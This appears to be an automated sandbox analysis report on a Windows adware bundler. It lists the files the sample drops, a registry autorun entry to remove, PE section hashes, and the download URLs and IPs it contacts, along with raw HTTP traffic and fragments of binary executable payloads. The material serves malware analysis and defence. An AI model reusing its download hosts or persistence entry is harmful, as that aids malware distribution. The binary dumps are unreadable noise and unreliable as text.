%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dtreg.ppl (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_integrity_control.esm (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_meta.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Mail.reg (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\explode.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_config.esm (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\imc.ppl (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_facade.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\crpthlpr.ppl (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_legacy.esm (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\buffer.ppl (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\GetSupplyId.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_meta.dll (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\appcat.ppl (5520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\res\InstallWnd.zip (21216 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\appinfo.kli (520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_prague_adapter.ppl (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\format_recognizer.dll (19152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\advdis.ppl (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ekasyswatch.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cab.ppl (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\attestation_task.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\base64.ppl (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\KVInstallHelper.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\acassembler.dll (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dmap.ppl (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_meta.dll (9608 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_file_categorizer.esm (917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_process_monitor.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\integrity_control.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\avs.ppl (16944 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahrule.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\icuio40.dll (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_meta.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\excludemanager.dll (5064 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Â̶¹ä¯ÀÀÆ÷\Â̶¹ä¯ÀÀÆ÷.lnk (475 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tqomfn_70567.exe (175036 bytes)
%Documents and Settings%\%current user%\Desktop\Â̶¹ä¯ÀÀÆ÷.lnk (463 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISdl.dll (14 bytes)
%Program Files%\lvdou\ico\ie.ico (17 bytes)
%Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\llxicxn.exe (112155 bytes)
%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
%Program Files%\lvdou\ico\anquan.ico (3 bytes)
%Program Files%\lvdou\ico\taobao.ico (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\zb.ini (2 bytes)
%Program Files%\lvdou\Unins.exe (363 bytes)
%Program Files%\lvdou\home.bat (689 bytes)
%Program Files%\lvdou\PopWinParam.xml (4 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.chk (100 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.log (2232 bytes)
%WinDir%\SoftwareDistribution\DataStore\DataStore.edb (100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\dl.dll (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDLogicUtils.dll.bdl (42989 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\hu.dll (115 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMNet.dll.bdl (31488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\zmhb.exe.bdl (516798 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMNetGetInfo.dll (275 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMReport.dll.bdl (39102 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMDownload.dll (171 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\helpers.7z (1791 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"GreeDou" = "%Program Files%\lvdou\gdad.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 23624 | 24064 | 4.46284 | dab38f512d56590c009f506a9c20a2f0 |
| .rdata | 28672 | 4764 | 5120 | 3.49973 | 165e3e874dc59c8a96748c6f4d0f4207 |
| .data | 36864 | 154712 | 1024 | 3.3307 | a5573ac89d4a106e6174f74a97e83c42 |
| .ndata | 192512 | 81920 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .rsrc | 274432 | 3840 | 4096 | 3.79073 | 058c3ad6b417b0294eb17f8419352b11 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://pxsw.n.shifen.com/ | |
| hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllqq/BDLogicUtils.dll | |
| hxxp://209.170.78.71/dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll?wsiphost=ipdb | |
| hxxp://bcs.jomodns.com/sw-search-shadu/client/dllv4/BDMReport.dll | |
| hxxp://baidubrs.dlmix.glb0.lxdns.com/client1/common/patch/16101830722/BDMNet.dll | |
| hxxp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb | |
| hxxp://sxsw.n.shifen.com/ | |
| hxxp://baidubrs.dlmix.glb0.lxdns.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe | |
| hxxp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb | |
| hxxp://dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe | 117.21.189.102 |
| hxxp://dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll | 117.21.189.102 |
| hxxp://dlsw.baidu.com/sw-search-shadu/client/dllv4/BDMReport.dll | 61.155.165.27 |
| hxxp://s.x.baidu.com/ | 180.76.2.46 |
| hxxp://p.x.baidu.com/ | 123.125.65.152 |
| hxxp://dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll | 117.21.189.102 |
| tk.download.iyuntian.com | 123.125.69.209 |
| rc.download.iyuntian.com | 123.125.65.153 |
| down.cnlww.org | 222.186.60.2 |
| res.download.iyuntian.com | 123.125.65.129 |
| dtrp.download.iyuntian.com | 123.125.65.150 |
| utk.download.iyuntian.com | 123.125.65.147 |
| cfg.download.iyuntian.com | 123.125.65.132 |
| res2.download.iyuntian.com | |
| res3.download.iyuntian.com |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=917504-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client/dllqq/BDLogicUtils.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll?wsiphost=ipdb
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=8388608-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Range: bytes=15597568-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 206 Partial Content
Expires: Fri, 30 May 2014 07:17:39 GMT
Date: Wed, 30 Apr 2014 07:17:39 GMT
Server: nginx
Content-Type: application/octet-stream
Last-Modified: Mon, 21 Apr 2014 18:43:49 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Content-Range: bytes 15597568-30231023/30231024
Content-Length: 14633456
Age: 19203
Via: 1.0 wzpy200:80 (Cdn Cache Server V2.0), 1.0 fra71:8888 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe"
..C..H..3T.?Y.(h....v5&.(.y...e!..1c..R@f_#Q.\........._^uW..3...../......(.<!...".`.u.@..(.P9./.....y..........$.`...@.....6..;.....xT.0..=T.>.(LQ,.H...=.........GM........ra.).. y.X:....m ...&...3\...V...R....r.\...2}.P......!TEuPz.5.............z.vN*.Tg....W.A...9J.....,..Q"... ...ep.r4........!.I.....C`.......Cs..*.. ...o......t.&A..O. .z-e...#s......&X?........}.5.&.9 03W....E.uU...=.; ..H* .|Gd...=B.;..(..p...,.[T....a...t.j..B....q.! C=.....D..qT..w.wq.g.Cu.5..!..J.$0C(.....Fi.4!..........a.h.%..L]g.F^5. "...b.....2.....l.....V... n.......U.}.!D.Zab..........L..4.)!.N.CX.h.-c.2..|......D1\\,.....p.S&j8.,p..."BIv.d.. .)$..Fq....@.?....._.oP..._B>. .!f.1.2.......?Q.Q..P.3..j..<...l.....UP.FH....E m.\t5U8.../...U...^..j...l..#.Jz..T..E#NV....XTK.....G..H5..2VX7-.12..s... .#..p....!.......MN....l..({.:..b.J b'......S...=J".X3..4H#B.G.....)..VS1..T...Q3 i.x....^.m....ItS..p...5t.......r.I.....f.|.....t..)..n7.....5Y.#..^^.d.r.o.#.s.....Z.:....YP.`...Vl.NTo....4........M..6......j..=.....}..3"\sy........n..h.."...iPk?.o{..'7]..w..D......Fj{.P.9..Ve..6}B...defg.l.JU6"v....t3.R1...4e.B@.......$f.m..>.T..5.O...h,.f).9v_[@...s.N.$X.a!.PG.m.E..f5......i..r0.IK...E.v..zH>x..........u..> 1B.>..(Vi..?g..b.......k....z.u.0.=.B........`.[}..|....!_).B...t....Af\.....{.Y.J9..E.O ....y. u0,..Q=.O....).,[V....>.5...........~Z..."s...2..&..>...D.(u...."FM.....=..PWrR.!....g.#.(.....dR..C..\........j.jI0....^.>..A..z.).c.......3.{....1.?.~..I...o[.3..Z..,.o}?X..0..6..D$...'.?..& %b..X...M9V.F
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=2228224-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=8257536-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 200 OK
Expires: Tue, 27 May 2014 09:24:38 GMT
Date: Sun, 27 Apr 2014 09:24:38 GMT
Server: nginx
Content-Type: application/octet-stream
Content-Length: 1176520
Last-Modified: Thu, 27 Mar 2014 06:30:30 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 270775
Via: 1.0 wzpy200:80 (Cdn Cache Server V2.0), 1.0 fra71:8888 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="BDMNet.dll"
MZ......................@................/..............................!..L.!This program cannot be run in DOS mode....$..........^.a...a...a...a..za...n...a..T....a.......a.......a......ya.......a.......a.......a.......a..Rich.a..........PE..L.....3S...........!................................................................O...................................-...0...........................H#......T....9..............................X...@............................................text............................... ..`.rdata..-...........................@..@.data...............................@....tls.................p..............@....rsrc...............................@..@.reloc...3.......@..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET /dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 200 OK
Expires: Fri, 30 May 2014 07:17:39 GMT
Date: Wed, 30 Apr 2014 07:17:39 GMT
Server: nginx
Content-Type: application/octet-stream
Content-Length: 30231024
Last-Modified: Mon, 21 Apr 2014 18:43:49 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 19201
Via: 1.0 wzpy200:80 (Cdn Cache Server V2.0), 1.0 fra71:8888 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe"
MZ......................@...............B.2..-..........................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................p.......B...9............@...........................)......w;*..@.................................d.........$.pI..............P............................................................................................text....o.......p.................. ..`.rdata...*.......,...t..............@..@.data....~..........................@....ndata...P...0...........................rsrc...pI....$..J..................@..@.reloc........).....................@..B........................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....-G..H.P.u..u..u.....@..K...SV.5.-G.W.E.P.u.....@..e...E..E.P.u.....@..}..e....D.@........FR..VV..U... M..........M........E...FQ.....NU..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.P.u.....@..u....E..9}...n....~X.te.v4..L.@..E...tU.}.j.W.E......E.......P.@..vXW..T.@..u..5X.@.W..h ....E..E.Pj.h..F.W....@..u.W...u....E.P.u.....@._^3.[.....L$...-G...i. @...T.....tUVW.q.3.;5.-G.sD..i. @...D..S.....t.G.....t...O..t .....u...3....3...F. @..;5.-G.r.[_^...U..QQ
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=1835008-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Range: bytes=8257536-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 206 Partial Content
Expires: Fri, 30 May 2014 07:17:39 GMT
Date: Wed, 30 Apr 2014 07:17:39 GMT
Server: nginx
Content-Type: application/octet-stream
Last-Modified: Mon, 21 Apr 2014 18:43:49 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Content-Range: bytes 8257536-30231023/30231024
Content-Length: 21973488
Age: 19208
Via: 1.0 wzpy200:80 (Cdn Cache Server V2.0), 1.0 fra71:8888 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe"
"tvkA.....&......j....I..X.d..^.r....t..7a.:.`w.L.Xs....{..........d.'.d..Y.AE.&.q.<.. ._......)9v.6 '=#........J..%.3...=z...Um..w.......)..<.Aw.....sU..U...V..#.V-..H...qr.(y.S......i.t..........M........yP.7nJ-.P.....fN.1.|...Du..$`.X..[.e....(.z............E.3....Az....q..f1....S.N.......jk. v.)...v5......W.......WU.g|...EJ..b'3n$.'.....t..)fP..-;.Cz}>..>.n.:. ,...>u;;....dT.....Y.}...".p.?c../.d....d.7....a..8.Q..N..~....~R.O.j.......z...NVOS.]B.ul.A.....k<....}6$Z...2..bbN3....T.>.eTdx...9.....)..I..\K...m.M...". .*.Q.m/.b^...{E84...Gm..~.......aB.1n.&v>O/D..x..0.i .x.I^....../{.f.kO..?^.u"./.wC.hSGy......o..C......t/...QO.Hi\O...3.gTF.\........^..:.r...p.},C..\N..h...o.{..h|..V.....O.&....[......../.m...`.\/l\w..H....;..7f.F* .{...'.....'{.M..1..c.uZc-@.......{...p..~nU...'.s..bn.o8......$.<... L..>....../...U....;...:u{E..Gb..}d[..=....\..`H $.veF4 s.....Kl..!q~.....tH......)a....-...A. #..;.......)...)...~...iH...4.C\1.i.........T.......\..c)M.W.."....RJ.H...E(....u..."..bO..`....:S(...Z.n.....J.j%..Gwb....X.%...}C.].$lN.>a...&.....V..v..#=J..h..f.1Ol.@Y"....x....\.....u.=....1P.'...X.j..L.GC.(|^.f?.9.....N..F~b...X.F..>. 4 Z..su0W. ..........S..s..p.z..1MW<.QE.{.....c..ee.......t^.{].q..T,.=H..q-............&6.\w.ek.........C.P....^I..N^...........8^.].b....H...BE.WB....#hj;......Xy....JId...T ._.....K.?..3....C0.......u.K.>...`......|.0M...:........t/..LJL..nM...>!..T.TM..\.(...p.k..N..IO.VE.c..]..T...Q..^,...A.!..63w......Y.S.e.o..;D ........q.%..K.{.2.&
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=22937600-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
POST / HTTP/1.1
Connection: Keep-Alive
Content-Length: 68
Content-Type: application/octet-stream
Host: s.x.baidu.com
Keep-Alive: timeout=600,max=1000
...8........" f5e712debdc652d438a8c8ba67ccb6f2(.2.8.@.H.P.X.` ......
HTTP/1.1 200 OK
Server: iYuntianSvr
Content-Type: application/octet-stream
Keep-Alive: timeout=30
Connection: Keep-Alive
Content-Length: 124
...p........" f5e712debdc652d438a8c8ba67ccb6f2(.28.y.E.. T..h.<[....~....F..B6..aTS.......h..Qz.^.|A.z6..38.@.H.P.X.` ........
GET /dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Range: bytes=22937600-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 206 Partial Content
Expires: Fri, 30 May 2014 07:17:39 GMT
Date: Wed, 30 Apr 2014 07:17:39 GMT
Server: nginx
Content-Type: application/octet-stream
Last-Modified: Mon, 21 Apr 2014 18:43:49 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Content-Range: bytes 22937600-30231023/30231024
Content-Length: 7293424
Age: 19203
Via: 1.0 wzpy200:80 (Cdn Cache Server V2.0), 1.0 fra71:8888 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe"
L..c...SB....J.x.....S].?.rH.l.....6.....i..diL8..B..BC..4...~_J..4*..Lm~<..B;pQ`K}Z..t.....E6..FMK...F......Z.....M....<A.P..,|....w.,....^.F{.................U.'.s...[...o.b..T.o.M.R.h<..>5.L........Ihk......".....P.H4.}.6.......m...aT.m..?(.6X3......a..(......!j:.t.....E..."U...{.G.J..jm/`.._Qu}_.2.........C=.Y...........n....f.Br.{F._z......fP.F.^=..&....f.B.3. .....s.s?.-....?.{..w....*$A.`.W..G..i.........g..?Z.0b.$._.^.. ]..$.C.)Q....F..c...............B..b.q .Y,...O."..,......f.}..;u...6.qH..2...J^.J7(..v...y[.Q....q...4.N}d.%P[v&.6../..Ro...g;HB.....&ip.%.).,...`;..4..*<..fA/J..g..d..e.............M..G..8.7.........W.f...5......d.}.$8Q...3..6.l..d..v]!..q0.....0.(..q..e~.....I.t...... ..K. .1 .MdA..Nh.....G.[/9..z...i.).f..y.v.b..F..N_...*D,..>.........'..x:..o.g.......u..7< IB ..T........R..}.`..!6..N..4.............O..F.}wH`O...........k.\j@A.e9..l...o....e....A....U....]....U.r..V.....m...Sb/^.....6.....EL..r...z`-v.N<R.........p-......E.I..e].%....J..De...U...g....c..f=K...?..]M`;l[.y...>..hz.`Y....[.N.9....Z2.F..0 ....bpf1.r..1.....%.@..z....&.4N2q...].c.R:...?^#upO%5?.!..}1.....9Oh,..S~-.#"v..Z..(ul....h..^..bt..\...Y4.w..M8... .......g..UL......4...f...l.5.k)..I..Y8?..J....MuqL...r.M.1.1.y.Rj.t....q.JMtZ2?i..W.G.....9..h..L..Q..........X..[t....:w.=../.D.E....W...q4.f.....){..h._^......s..........W....q.}..f.l.......2...w*.!.F:.dnh[.G>........Z....x9..`~..nL8.y.lu..>8......eG.D...PF...M....{4......s5/...P....C5%.t..........t...Uj...R............XK....Y.;..J.8
<<
<<< skipped >>>
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=393216-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:24 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 814304
Content-Range: bytes 393216-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
..Q.D$$.E.VP.....E..T$ Q..$VP..........................Q.D$$.E.VP.....E..T$ .....$VP..........................Q.D$$.E.VP.....T$ ..P.E.VP..........E.........QVP.L$LQ............P.E.VP....$........|$X...$............D$DP.........r...............Q.D$$.E.VP.....T$ P.E.VP.......C...E.......j.VP.....L$..U..D$ ....4Q.D$(........VR.....T$$.L$ P.....L$....;L$(.L$........D$...u..L$..D....N....p...........f....$.x........R,..X.D$(.E.VP.....T$(P.E.VP.......D$...u..L$...........R0..\.D$(.E.VP....R.T$,P.E.VP.......D$...u..L$...........R4..`...
GET /client1/common/patch/16101830722/BDMNet.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=884736-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
